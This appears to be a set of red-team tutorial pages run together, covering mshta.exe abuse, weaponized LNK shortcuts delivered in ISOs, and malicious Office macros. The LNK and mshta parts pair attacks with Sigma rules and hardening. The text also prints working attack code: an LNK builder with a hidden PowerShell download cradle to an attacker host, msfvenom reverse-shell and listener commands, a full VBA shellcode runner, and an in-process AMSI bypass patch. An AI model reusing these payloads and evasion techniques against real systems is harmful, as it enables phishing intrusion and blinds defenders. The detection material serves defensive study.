Run this variant and watch in Sysmon: mshta.exe shows up as Event 1, then WmiPrvSE.exe spawns powershell.exe. The parent-process linkage is broken. This is exactly why the detection strategy in Section 8 leans on the mshta.exe Event 1 plus the WMI activity log (Event 5861), not solely on parent-child rules.

7. Obfuscation: chr() Reassembly, Renamed Binaries, Polyglots
Strings like WScript.Shell and powershell in a command line are detection low-hanging fruit. Trivial to obfuscate.
' Reassemble "WScript.Shell" from character codes
Dim s
s = Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & _
Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
Set o = CreateObject(s)
o.Run "calc.exe", 0, False
Same trick works in JScript with String.fromCharCode. Combine with Base64-encoded PowerShell (-EncodedCommand) and the command line stops matching keyword rules.
Renamed copies are another classic. Copy mshta.exe somewhere user-writable as update.exe:
copy C:\Windows\System32\mshta.exe %TEMP%\update.exe
%TEMP%\update.exe http://ATTACKER_IP:8080/payload.hta
Any Sigma rule keyed purely on Image|endswith: '\mshta.exe' misses this. You need OriginalFileName: 'MSHTA.EXE' in the selection, which reads it from the PE version resource and survives renames.
Polyglots take it further. Because mshta.exe skips data it does not understand, you can append HTA script to the end of a legitimate file (image, PE, RTF) and mshta.exe will dutifully find and run the script. The file passes as the original format to anything that only checks the magic bytes.
8. Detection Engineering
Now turn Sysmon on in the lab, install the SwiftOnSecurity baseline config, replay every variant above, and confirm each rule fires.
# Sysmon install (run as admin)
Sysmon64.exe -accepteula -i sysmonconfig-export.xml
The events that matter for mshta.exe:
| Event ID | Source | What to watch |
|---|---|---|
| 1 | Sysmon Process Create | Image ends \mshta.exe or OriginalFileName = MSHTA.EXE; CommandLine contains URLs, vbscript:, javascript:, .sct, about: |
| 3 | Sysmon Network Connect | Any outbound connection where Image ends \mshta.exe. Treat as high-fidelity. |
| 7 | Sysmon Image Load | mshta.exe loading clr.dll or PowerShell DLLs is anomalous |
| 11 | Sysmon File Create | Files written by mshta.exe in %TEMP%, %APPDATA%, Downloads |
| 4688 | Security (Audit Process Creation + command-line auditing on) | Same surface as Sysmon 1 for environments without Sysmon |
| 4104 | PowerShell/Operational | Script Block Logging captures the deobfuscated PowerShell spawned by mshta |
| 5861 | WMI-Activity/Operational | Win32_Process.Create calls used to break process chain |
Turn on command-line auditing first. Without it, Event 4688 is useless for this technique.
GPO: Computer Configuration > Administrative Templates > System >
Audit Process Creation > Include command line in process creation events: Enabled
Sigma rules
Start with two rules that together catch most of what we did above. Tune later.
Rule 1: mshta with network indicators or script monikers. This is the SigmaHQ proc_creation_win_mshta_http-style rule, broadened to cover renamed copies and inline monikers.
title: Suspicious mshta.exe Command Line
id: 6c1b2f1e-lab-0001
status: experimental
description: mshta.exe invoked with a remote URL, inline script moniker, or COM scriptlet.
logsource:
product: windows
category: process_creation
detection:
selection_img:
- Image|endswith: '\mshta.exe'
- OriginalFileName: 'MSHTA.EXE'
selection_cli:
CommandLine|contains:
- 'http://'
- 'https://'
- 'ftp://'
- 'vbscript:'
- 'javascript:'
- '.sct'
- 'about:'
- 'GetObject('
condition: selection_img and selection_cli
fields:
- Image
- OriginalFileName
- CommandLine
- ParentImage
level: high
tags:
- attack.defense_evasion
- attack.execution
- attack.t1218.005
Rule 2: suspicious child of mshta.exe. Catches the direct mshta -> powershell/cmd/wscript lineage. Will not catch the WMI-broken chain, which is what Rule 3 is for.
title: Suspicious Child Process of mshta.exe
id: 6c1b2f1e-lab-0002
status: experimental
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\mshta.exe'
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\regsvr32.exe'
- '\bitsadmin.exe'
- '\rundll32.exe'
condition: selection
level: high
tags:
- attack.execution
- attack.t1218.005
Rule 3: mshta making any network connection. Sysmon Event 3 only. In a clean enterprise environment, mshta.exe should almost never talk to the network. Tune by your own baseline.
title: mshta.exe Outbound Network Connection
id: 6c1b2f1e-lab-0003
status: experimental
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 3
Image|endswith: '\mshta.exe'
filter_local:
DestinationIp|startswith:
- '10.'
- '192.168.'
- '172.16.'
condition: selection and not filter_local
level: high
tags:
- attack.command_and_control
- attack.t1218.005
A useful tell from the field: when mshta.exe‘s command line ends with the GUID {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}, it was launched interactively, which means the user double-clicked an HTA file in Explorer. Parent will be explorer.exe. That GUID is a free, very high-fidelity signal that someone just opened an HTA from the desktop or Downloads. Alert on it. Triage every hit.
Suspicious parent processes regardless of command line: winword.exe, excel.exe, outlook.exe, powerpnt.exe, chrome.exe, msedge.exe, firefox.exe. Office spawning mshta.exe is a phishing signature; browsers spawning mshta.exe means a user just clicked an mshta:-handler link or accepted a download prompt.

9. Hardening
Detection is necessary. Removing the attack surface is better. In priority order:
- WDAC (Windows Defender Application Control). When any WDAC policy is deployed, even an allow-all policy in audit mode, HTA execution is blocked outright. This is the cleanest mitigation Microsoft offers, full stop.
- AppLocker. Add Executable Rules denying
%SystemRoot%\System32\mshta.exeand%SystemRoot%\SysWOW64\mshta.exe. Add Script Rules denying*.hta. AppLocker does not catch renamed copies as cleanly as WDAC, but it raises the bar. - Remove the
.htafile association. Via GPO, redirect or delete thehtafileProgID so double-clicking an HTA no longer invokesmshta.exe. Phishing payloads that depend on the user double-clicking break instantly. - Egress filtering. Block outbound HTTP/HTTPS from
mshta.exeat the proxy. Legitimatemshta.exeuse in modern enterprises is almost always local HTAs invoked by an internal line-of-business app. The signature there is consistent path, consistent user, no network. - ASR rules.
Block execution of potentially obfuscated scripts(GUID5BEB7EFE-FD9A-4556-801D-275E5FFC04CC) andBlock JavaScript or VBScript from launching downloaded executable content(GUIDD3E037E1-3EB8-44C8-A917-57927947596D). Verify GUIDs against current Microsoft Learn before deploying; Microsoft has rotated and renamed ASR rules over time. - PowerShell Script Block Logging (Event 4104). Required to catch deobfuscated stage-two payloads spawned by
mshta. - Disable VBScript. On modern Windows builds, VBScript is an on-demand optional feature; remove it where business requirements allow. Microsoft is on a published path to retiring VBScript outright.
10. Tools
| Tool | Use | Link |
|---|---|---|
python3 -m http.server | Host the HTA / SCT for fetch | python.org |
netcat / rlwrap nc | Catch the reverse shell | nmap.org |
Metasploit multi/handler | Alternative listener; pairs with msfvenom-generated stagers | metasploit.com |
| Sysmon + SwiftOnSecurity config | Process, network, and image load telemetry | sysinternals.com |
| Process Hacker / Process Monitor | Watch mshta.exe COM loads and child spawns live | processhacker.sourceforge.io |
| Wireshark | Confirm outbound from mshta.exe and stage-two beacons | wireshark.org |
| Sigma + sigmac | Convert the rules above to your SIEM’s query language | github.com/SigmaHQ/sigma |
| Atomic Red Team T1218.005 | Pre-built atomics to replay every variant | atomicredteam.io |
11. ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| System Binary Proxy Execution: Mshta | T1218.005 | Sysmon 1 on mshta.exe with suspicious command line; Sysmon 3 outbound |
| System Binary Proxy Execution | T1218 | Parent technique |
| Command and Scripting Interpreter: Visual Basic | T1059.005 | Script Block Logging, 4104; VBScript engine load |
| Command and Scripting Interpreter: JavaScript | T1059.007 | Same surface, JScript engine |
| Phishing: Spearphishing Attachment | T1566.001 | Office or mail client parents spawning mshta.exe |
| Phishing: Spearphishing Link | T1566.002 | Browser parents spawning mshta.exe with .hta URL |
| Obfuscated Files or Information | T1027 | chr()/Base64/concat patterns in command line |
| Windows Management Instrumentation | T1047 | WMI-Activity Event 5861, Win32_Process.Create from mshta script |
Tactics: TA0005 Defense Evasion (primary), TA0002 Execution.
Summary
mshta.exeis a Microsoft-signed script host that ignores browser security and ships on every Windows install. Treat any execution of it as an event worth investigating.- The attack surface spans on-disk HTA, remote URL fetch, inline
vbscript:/javascript:monikers,.sctCOM scriptlets viaGetObject, ADS, and polyglots; one detection rule will not cover it. - WMI
Win32_Process.Createfrom inside the HTA breaks themshta -> powershellparent-child chain. Detect with WMI-Activity Event 5861, not parent linkage alone. - Build layered Sigma coverage: command-line indicators, suspicious child processes, and any outbound network connection from
mshta.exe. Alert on the interactive-launch GUID{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}. - The cleanest mitigation is WDAC, which blocks all HTA execution even in audit mode. AppLocker rules, removing the
.htaassociation, and ASR rules round out the hardening.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumerati
LNK File Weaponization for Initial Access
A .zip lands in someone’s inbox. They open it, see Invoice_April_2026.pdf with a tidy little PDF icon, double-click, see nothing happen, shrug, and go back to work. Meanwhile, your listener has caught a shell. The whole kill chain ran inside a 2 KB binary that Windows has been parsing more or less identically since NT 4.
LNKs are the new macros. As Microsoft choked Office macros – Mark of the Web propagation, Block Macros from the Internet, the protected-view changes – the ecosystem reached for the next path of least resistance, and the humble Shell Link won by a wide margin. They render as a familiar icon. They never display their .lnk extension. They’re trusted shell objects, not “executables.” One double-click is enough.
This post takes a benign LNK apart byte by byte, rebuilds it as a weapon in a lab, delivers it inside an ISO, catches a shell, and then flips to the defender’s chair to detect every step. Everything below runs against a self-made VM – no live targets.
What Is a Shell Link? – The MS-SHLLINK Binary Format
Every .lnk file is described by Microsoft’s open specification [MS-SHLLINK]. The file is a sequence of one mandatory structure followed by several optional ones, and a bitmask in the header tells the parser which optional sections are present.
The mandatory first structure is the ShellLinkHeader. The exact fields that matter to us (MS-SHLLINK §2.1):
HeaderSize(4 bytes): fixed value0x0000004C– a reliable forensic magic number for identifying LNKs.LinkCLSID(16 bytes): must equal00021401-0000-0000-C000-000000000046– the class ID that marks the file as a shell link.LinkFlags(4 bytes): bitmask declaring which optional structures follow and other behavioral flags.FileAttributes(4 bytes): aFileAttributesFlagsstructure describing the link target.CreationTime(8 bytes): aFILETIME(UTC) – creation time of the link target.ShowCommand(4 bytes): the window state used when launching the target.
The optional sections that follow the header include:
LinkTargetIDList– specifies the link target as an item ID list, present when theHasLinkTargetIDListbit is set inLinkFlags.LinkInfo– target resolution information, present whenHasLinkInfois set.StringData– UI and path strings, controlled by additionalLinkFlagsbits.ExtraData– a series of optional metadata blocks.
LinkFlags bits of offensive relevance (MS-SHLLINK §2.1.1, cross-checked against the Kaitai Struct spec):
HasLinkTargetIDList– IDList present after the header.HasArguments– command-line arguments present inStringData.HasIconLocation– icon path present; abused in LNK Icon Smuggling (T1027.012).IsUnicode– string data stored as Unicode rather than ANSI.
The ShowCommand field in the header is set to SW_SHOWMINNOACTIVE (decimal 7) or SW_HIDE (0) to suppress or minimize the visible window when the target executes – exactly what you want when launching a hidden PowerShell.
The StringData section is where weaponization concentrates. It holds, as counted strings, NAME_STRING, RELATIVE_PATH, WORKING_DIR, COMMAND_LINE_ARGUMENTS, and ICON_LOCATION. Operators set COMMAND_LINE_ARGUMENTS to a long, obfuscated PowerShell one-liner.
ExtraData blocks of defensive note:
EnvironmentVariableDataBlock– resolves environment variables at runtime; used to reach%COMSPEC%or%windir%\system32\windowspowershell\v1.0\powershell.exe.TrackerDataBlock– leaks the machine name and volume GUID of the system that created the LNK (theMachineIDfield). This is a prime CTI artifact for attributing or clustering campaigns.IconEnvironmentDataBlock– specifies the path to an icon file; adversaries abuse this metadata so that resolving the icon reaches out to an attacker-controlled UNC path to coerce authentication or stage a payload.
Dump a real shortcut to see this concretely. On Windows, Eric Zimmerman’s LECmd.exe parses every structure:
LECmd.exe -f "C:\Users\victim\Desktop\Notepad.lnk" --csv .
On Linux, lnk-parse / pylnk does the same:
pip install lnkfile
python -c "import lnk; l=lnk.open('Notepad.lnk'); print(l.header); print(l.string_data)"
How the shell actually executes it
When a user double-clicks the icon, explorer.exe calls ShellExecuteEx(), resolves the LinkTargetIDList, and ultimately issues a CreateProcess() on the TargetPath with the stored Arguments. Programmatically, both defenders and red teamers create shortcuts through the WScript.Shell.CreateShortcut() COM object.

Building a Weaponized LNK From Scratch
The fastest path is the same COM object the OS ships for legitimate use.
# Method A: WScript.Shell COM object
$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("$env:TEMP\Invoice_April_2026.pdf.lnk")
$lnk.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
# Argument: download and execute the stager, hide window
$lnk.Arguments = "-WindowStyle Hidden -NoProfile -NonInteractive -EncodedCommand " +
[Convert]::ToBase64String(
[Text.Encoding]::Unicode.GetBytes(
'IEX(New-Object Net.WebClient).DownloadString("http://<attacker_IP>:8080/stage.ps1")'
)
)
$lnk.WorkingDirectory = "C:\Windows\System32"
$lnk.IconLocation = "C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE,13" # PDF-style icon
$lnk.WindowStyle = 7 # SW_SHOWMINNOACTIVE — minimized, no focus
$lnk.Save()
Argument padding. Insert roughly 260 spaces before the real payload in the Arguments field. The LNK Properties dialog truncates the visible string, so a curious user inspecting the shortcut sees a blank or harmless-looking target line while the encoded command sits past the cutoff. The full string still passes to CreateProcess().
For full control over every structure – to confirm the WindowStyle = 7, the encoded args, and the icon block landed correctly – verify with a parser after creation:
# Method B: verify the crafted struct fields
LECmd.exe -f "$env:TEMP\Invoice_April_2026.pdf.lnk" --csv .

Delivery Containers: ISO + LNK and ZIP + LNK
Mark of the Web (MotW) is stored in the NTFS Alternate Data Stream Zone.Identifier. When a file is downloaded from the internet, the OS writes a ZoneId=3 value into that stream, and SmartScreen/Defender treat the file with suspicion.
The container trick exploited a gap: ISO and VHD images mounted by explorer.exe historically did not propagate MotW to the files inside them, so an LNK extracted from a mounted ISO would execute without a SmartScreen prompt. Microsoft patched this in October 2022 (CVE-2022-41091, KB5017308), after which MotW propagates into mounted container contents on patched builds. ZIP handling was tightened similarly. Always validate the actual behavior on your specific OS build – this is a moving target.
Build the container in the lab:
# Linux: ISO containing only the LNK
mkdir iso_stage
cp Invoice_April_2026.pdf.lnk iso_stage/
mkisofs -o phish_delivery.iso iso_stage/
# Or on Windows with oscdimg (Windows ADK):
# oscdimg -n -m iso_stage\ phish_delivery.iso
Target masquerading
Even with “Hide extensions for known file types” disabled, shortcut files never display the .lnk extension. So Invoice_April_2026.pdf.lnk shows up as Invoice_April_2026.pdf, and with a spoofed PDF/Word icon it is visually indistinguishable from the real document. The operator points TargetPath at a signed Windows binary while keeping a legitimate icon and a believable display name.
Command Execution Chains
The TargetPath always points at a Microsoft-signed binary – the LNK itself never carries code, only a reference and arguments. Common living-off-the-land binaries used as TargetPath:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe–-WindowStyle Hidden -EncodedCommand <b64>C:\Windows\System32\cmd.exe–/cchainC:\Windows\System32\mshta.exe– executes a remote HTAC:\Windows\System32\wscript.exe/cscript.exe– runs a dropped VBS/JSC:\Windows\System32\certutil.exe–-urlcache -fdownload cradleC:\Windows\System32\regsvr32.exe–/s /n /u /i:<URL> scrobj.dll(Squiblydoo)
LNK Icon Smuggling (T1027.012)
Set the IconEnvironmentDataBlock (or the icon location string) to a UNC path such as \\attacker.server\share\icon.ico. When Explorer renders the shortcut’s icon – which can happen on mere folder browsing, before any double-click – it reaches out over SMB to that path, leaking an NTLM authentication attempt to the attacker-controlled host. That same channel can stage a payload. This is why disabling LNK preview and blocking outbound SMB matter.
Lab Exercise – End-to-End Attack
Lab target: Windows 10 22H2 VM, Defender disabled (or a path exclusion) for the lab folder, no EDR.
Attacker: Kali / any Python3 host with netcat or Metasploit.
Scenario: the victim receives a simulated phishing email with a ZIP holding one file, Invoice_April_2026.pdf.lnk, PDF icon spoofed.
Step 1 – Lure design
Finance context → a PDF invoice lure. No recon against live systems; the persona lives entirely in the VM.
Step 2 – Generate the reverse shell payload
# Attacker (Kali)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=<attacker_IP> LPORT=4444 \
-f exe -o /tmp/shell.exe
python3 -m http.server 8080
Step 3 – Craft the LNK
Use the Method A script above, then verify the binary fields with LECmd.exe.
Step 4 – Package in an ISO
Use the mkisofs / oscdimg commands above to produce phish_delivery.iso.
Step 5 – Delivery simulation
Copy phish_delivery.iso to the victim VM. The user double-clicks it; Windows mounts it as a drive letter; the user sees Invoice_April_2026.pdf with a Word/PDF icon and double-clicks.
Step 6 – Listener and code execution
# Attacker: catch the shell
nc -lvnp 4444
# Or Metasploit:
# use exploit/multi/handler
# set payload windows/x64/shell_reverse_tcp
# set LHOST <attacker_IP>; set LPORT 4444; run
The shell arrives in the victim user’s context (DESKTOP-XXXXX\victim).
Step 7 – Fully fileless variant
Embed a base64-encoded payload directly in the Arguments field and decode/execute it in memory with a PowerShell one-liner – no dropped EXE. Run this variant specifically so you can compare its telemetry against the staged variant in the next section.
Step 8 – Detect immediately after each step
After each step, switch to the defender VM and read the Sysmon log.
Forensic Artifacts: What You Leave Behind
TrackerDataBlock–MachineIDexposes the LNK author’s machine name and volume GUID.Zone.IdentifierADS – MotW on the container/LNK (ZoneId=3).- Recent Items –
%APPDATA%\Microsoft\Windows\Recentand the jump-list store at%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations. - Shellbags, prefetch (
powershell.exe,mshta.exe), and the LNK’s own embedded metadata.
Detection Engineering
Sysmon Event IDs
| Event ID | Name | LNK relevance |
|---|---|---|
| 1 | Process Create | Full command line for process and parent. Alert on powershell.exe / cmd.exe / mshta.exe spawned from explorer.exe with encoded args. Key fields: Image, CommandLine, ParentImage, ParentCommandLine. |
| 11 | File Create | Catches LNKs written to disk before the double-click. Filter on TargetFilename ending in .lnk. An early-warning tripwire for userland writes. |
| 15 | FileCreateStreamHash | Records named ADS, including Zone.Identifier. Catch ISO/LNK written with ZoneId=3. |
| 3 | Network Connection | Outbound connections from the chain – PowerShell cradle or SMB coercion from IconEnvironmentDataBlock. Key fields: Image, DestinationIp, DestinationPort. |
| 22 | DNS Query | DNS resolution triggered by the execution chain. |
ETW providers
Microsoft-Windows-PowerShell(GUIDA0C1853B-5C40-4B15-8766-3CF1C58F985A) – script block logging, catches encoded commands post-decode.- AMSI (
Microsoft-Antimalware-Scan-Interface) – inline script content. Microsoft-Windows-Shell-Core– shell link resolution events.
Windows audit policy
- Audit Process Creation (Success) → Security
4688with command-line logging enabled via GPO: Administrative Templates > System > Audit Process Creation > Include command line in process creation events. - Audit Object Access on
%APPDATA%\Microsoft\Windows\Recent\to flag new LNK writes.
Sigma rules
Rule 1 – LNK spawning encoded PowerShell:
title: LNK File Spawning Encoded PowerShell
status: experimental
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage|endswith: '\explorer.exe'
Image|endswith: '\powershell.exe'
CommandLine|contains:
- '-EncodedCommand'
- '-enc '
- '-e '
condition: selection
falsepositives:
- Legitimate admin scripts launched via desktop shortcuts
level: high
tags:
- attack.initial_access
- attack.t1566.001
- attack.execution
- attack.t1204.002
- attack.defense_evasion
- attack.t1027.012
Rule 2 – LNK written to a suspicious path:
title: LNK File Written to User Temp or Download Path
status: experimental
logsource:
product: windows
category: file_event # Sysmon EID 11
detection:
selection:
TargetFilename|endswith: '.lnk'
TargetFilename|contains:
- '\AppData\Local\Temp\'
- '\Downloads\'
- '\Desktop\'
filter_legit:
Image|endswith:
- '\explorer.exe'
- '\setup.exe'
condition: selection and not filter_legit
level: medium
tags:
- attack.t1547.009
- attack.t1566.001
Hardening
- ASR rules: Block all Office applications from creating child processes (
D4F940AB-401B-4EFC-AADC-AD5F3C50688A) and Block execution of potentially obfuscated scripts (5BEB7EFE-FD9A-4556-801D-275E5FFC04CC). - Disable LNK preview to stop thumbnail-driven icon resolution (mitigates
IconEnvironmentDataBlockUNC coercion). - Block outbound SMB (TCP 445) at the perimeter to prevent NTLM capture via UNC icon paths.
- Email gateway: block
.lnkdirectly and inside.zip,.iso,.img,.vhd. - PowerShell Constrained Language Mode + Script Block Logging.
- MotW enforcement: ensure KB5017308 and successors are applied; validate ISO/VHD propagation on your build.
- Behavioral detection of LNK execution is notoriously noisy – catching LNKs as they’re written to disk and acting before the double-click is the strongest posture.

MITRE ATT&CK Mapping
| ATT&CK ID | Name | Tactic | Role |
|---|---|---|---|
| T1566.001 | Spearphishing Attachment | Initial Access (TA0001) | The LNK is the attachment. |
| T1204.002 | User Execution: Malicious File | Execution (TA0002) | The double-click triggers the chain. |
| T1059.001 | PowerShell | Execution (TA0002) | TargetPath → powershell.exe with encoded args. |
| T1027.012 | LNK Icon Smuggling | Defense Evasion (TA0005) | IconEnvironmentDataBlock / icon path abuse. |
| T1547.009 | Shortcut Modification | Persistence (TA0003) | Startup-folder LNKs – covered in hardening. |
| T1218 | System Binary Proxy Execution | Defense Evasion (TA0005) | mshta.exe, regsvr32.exe, certutil.exe as TargetPath. |
| T1071.001 | Web Protocols | C2 (TA0011) | Download cradle reaching the attacker’s HTTP server. |
Recap
The LNK is a tiny reference object, not an executable – and that is exactly why it works. We took apart the ShellLinkHeader and the StringData/ExtraData structures from [MS-SHLLINK], crafted a PDF-masquerading shortcut with a hidden PowerShell TargetPath, packaged it in an ISO, caught a shell, and then detected each step with Sysmon EID 1/11/15/3, ETW script-block logging, and two Sigma rules. Defenders: prioritize detecting LNK writes to disk, kill the SMB icon-coercion path, and keep your MotW patches current. The format hasn’t changed since NT 4 – your detection of it should be the part that evolves.
Related Tutorials
- Access Tokens and Privileges: The Kernel’s Security Context
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
References
Malicious Office Macros: VBA Basics to Shellcode Execution
You’ve got a .docm on a target’s desktop and they just clicked “Enable Content.” What actually happens between that click and your Meterpreter session? Most write-ups either stay at the Shell("cmd.exe") toy level or dump a finished payload with no explanation. This walkthrough bridges the gap – from the OLE internals of a macro-laced document through the VirtualAlloc→RtlMoveMemory→CreateThread shellcode runner, AMSI bypass, callback-based execution, and VBA stomping, all built step-by-step against a self-made lab document. Every offensive step gets its detection pair.
1. What Lives Inside a Macro-Enabled Document
A .docm or .xlsm file is an OLE Compound Document – essentially a filesystem-within-a-file. The VBA project lives in the VBA/ storage, and three streams matter:
| Stream | Purpose |
|---|---|
dir | Project metadata – module names, references, GUIDs |
VBA/Module streams | RLE-compressed VBA source code per module |
_VBA_PROJECT | Compiled p-code – version-stamped to the Office build that saved it |
Here’s the part that tripped me up the first time I looked at VBA stomping: Office doesn’t always run the source code. If the _VBA_PROJECT version stamp matches the running Office version, the compiled p-code executes directly and the source is never decompressed. This is the entire basis of VBA stomping (Section 8).
Inspect any document’s macro streams with olevba:
pip install oletools
olevba lab_macro.docm
olevba decompresses and displays VBA source, flags suspicious keywords (CreateThread, VirtualAlloc, Shell), and warns on p-code/source mismatches.
2. Auto-Execution Triggers
VBA macros don’t require user interaction beyond the “Enable Content” click. The VBA runtime invokes specific subroutine names automatically:
| Auto-trigger | Host App | Fires When |
|---|---|---|
Document_Open | Word (.docm) | Document opens |
AutoOpen | Word (legacy .doc) | Document opens |
Workbook_Open | Excel (.xlsm) | Workbook opens |
Auto_Open | Excel (legacy .xls) | Workbook opens |
Document_Close | Word | Document closes |
Frame1_Layout | Word/Excel (ActiveX) | ActiveX frame renders – evades trigger-name scanning |
Always implement both Document_Open and AutoOpen – the first is the modern event; the second covers legacy compatibility. Detection that only looks for one misses the other.
3. Calling Win32 APIs from VBA
The Declare keyword imports DLL exports into VBA. On 64-bit Office (VBA7), the PtrSafe keyword is mandatory and pointer-width arguments use LongPtr instead of Long.
The classic shellcode runner needs exactly three functions from kernel32.dll:
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
(ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
(ByVal lDest As LongPtr, ByRef sSource As Any, _
ByVal lLen As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" _
(ByVal lpSecAttr As Long, ByVal dwStackSize As Long, _
ByVal lpStartAddr As LongPtr, lpParam As LongPtr, _
ByVal dwFlags As Long, ByRef lpThreadId As Long) As LongPtr
VirtualAlloc allocates a memory region. RtlMoveMemory copies shellcode bytes into it. CreateThread starts execution at that address. The key constants: 0x3000 (MEM_COMMIT | MEM_RESERVE) and 0x40 (PAGE_EXECUTE_READWRITE). That RWX allocation is the loudest signal a defender can hunt – more on that in Section 9.
The Alias keyword lets you rename an import. This matters for evasion – RtlMoveMemory is a flagged string in AMSI and most static signatures:
Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" _
(ByVal dest As LongPtr, ByRef src As Any, ByVal length As Long)
Same function, different name in the source. Simple, and still effective against lazy pattern matching.
4. Lab Setup
You need two machines on an isolated host-only network:
| Role | OS / Software |
|---|---|
| Victim | Windows 10/11 VM, Office 2019 or 365 (64-bit), Defender disabled for initial testing |
| Attacker | Kali Linux, msfvenom, msfconsole, oletools installed |
On the victim VM, ensure the Developer tab is enabled in Word (File → Options → Customize Ribbon → check Developer). Disable Protected View for this lab under Trust Center settings – in production, this is exactly what an attacker hopes an admin misconfigured.
Generate Shellcode
Start with a benign calc.exe payload to prove execution, then graduate to a Meterpreter reverse shell:
# Benign proof-of-concept (64-bit)
msfvenom -p windows/x64/exec CMD=calc.exe -f vbapplication
# Meterpreter reverse HTTPS (64-bit)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.56.10 LPORT=443 \
EXITFUNC=thread -f vbapplication -o shellcode.vba
The -f vbapplication flag outputs a VBA-ready Array(...) – paste it directly into the macro. Set EXITFUNC=thread so the thread exits cleanly when Word closes rather than crashing the host process.
5. Building the Three-API Shellcode Runner
Open Word → Developer → Visual Basic. Double-click ThisDocument and paste:
#If VBA7 Then
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
(ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
(ByVal lDest As LongPtr, ByRef sSource As Any, _
ByVal lLen As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" _
(ByVal lpSecAttr As Long, ByVal dwStackSize As Long, _
ByVal lpStartAddr As LongPtr, lpParam As LongPtr, _
ByVal dwFlags As Long, ByRef lpThreadId As Long) As LongPtr
#End If
Sub Document_Open()
RunShell
End Sub
Sub AutoOpen()
RunShell
End Sub
Sub RunShell()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
' --- PASTE msfvenom -f vbapplication output below ---
buf = Array(72, 131, 228, 240, 232, ...)
' --- END shellcode ---
addr = VirtualAlloc(0, UBound(buf) + 1, &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
RtlMoveMemory addr + counter, data, 1
Next counter
CreateThread 0, 0, addr, 0, 0, 0
End Sub
Save as lab_macro.docm. Close and reopen – click “Enable Content.” With the calc.exe payload, Calculator pops. With Meterpreter, set up your handler first:
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter/reverse_https; \
set LHOST 192.168.56.10; set LPORT 443; \
set ExitOnSession false; run -j"
Open the document. Session lands. That’s your baseline – everything from here is refinement and evasion.
 to a Meterpreter session](https://genxcyber.com/wp-content/uploads/2026/06/vba-macro-shellcode-execution-office-1-scaled.png)
6. AMSI Bypass
Office 2019+ integrates AMSI into the VBA runtime. amsi.dll gets loaded into WINWORD.EXE and every macro buffer passes through AmsiScanBuffer before execution. Your raw shellcode array with VirtualAlloc and CreateThread will get flagged immediately once you re-enable Defender.
The standard bypass patches AmsiScanBuffer in-process so it returns AMSI_RESULT_CLEAN without scanning. The sequence:
LoadLibraryA("amsi.dll")– get the module handleGetProcAddress(handle, "AmsiScanBuffer")– resolve the functionVirtualProtect– mark the first bytes asPAGE_EXECUTE_READWRITE- Overwrite with a stub that returns clean:
mov eax, 0x80070057; ret(0xB8 0x57 0x00 0x07 0x80 0xC3)
Note the Alias trick – declare RtlFillMemory as Patcher so the string RtlMoveMemory never appears:
Private Declare PtrSafe Function LoadLibraryA Lib "kernel32" _
(ByVal lpFile As String) As LongPtr
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" _
(ByVal hMod As LongPtr, ByVal lpName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" _
(lpAddr As Any, ByVal dwSize As LongPtr, _
ByVal flProt As Long, lpOld As Long) As Long
Private Declare PtrSafe Sub Patcher Lib "kernel32" Alias "RtlFillMemory" _
(Destination As Any, ByVal Length As Long, ByVal Fill As Byte)
Sub PatchAMSI()
Dim hAmsi As LongPtr
Dim pScan As LongPtr
Dim oldProt As Long
hAmsi = LoadLibraryA("amsi.dll")
pScan = GetProcAddress(hAmsi, "AmsiScanBuffer")
VirtualProtect ByVal pScan, 8, &H40, oldProt
' Overwrite: mov eax, 0x80070057; ret
Patcher ByVal pScan, 1, &HB8 ' mov eax, imm32
Patcher ByVal (pScan + 1), 1, &H57 ' 0x57
Patcher ByVal (pScan + 2), 1, &H0 ' 0x00
Patcher ByVal (pScan + 3), 1, &H7 ' 0x07
Patcher ByVal (pScan + 4), 1, &H80 ' 0x80
Patcher ByVal (pScan + 5), 1, &HC3 ' ret
End Sub
Call PatchAMSI at the top of Document_Open, before RunShell. AMSI is now blind for the remainder of that process.
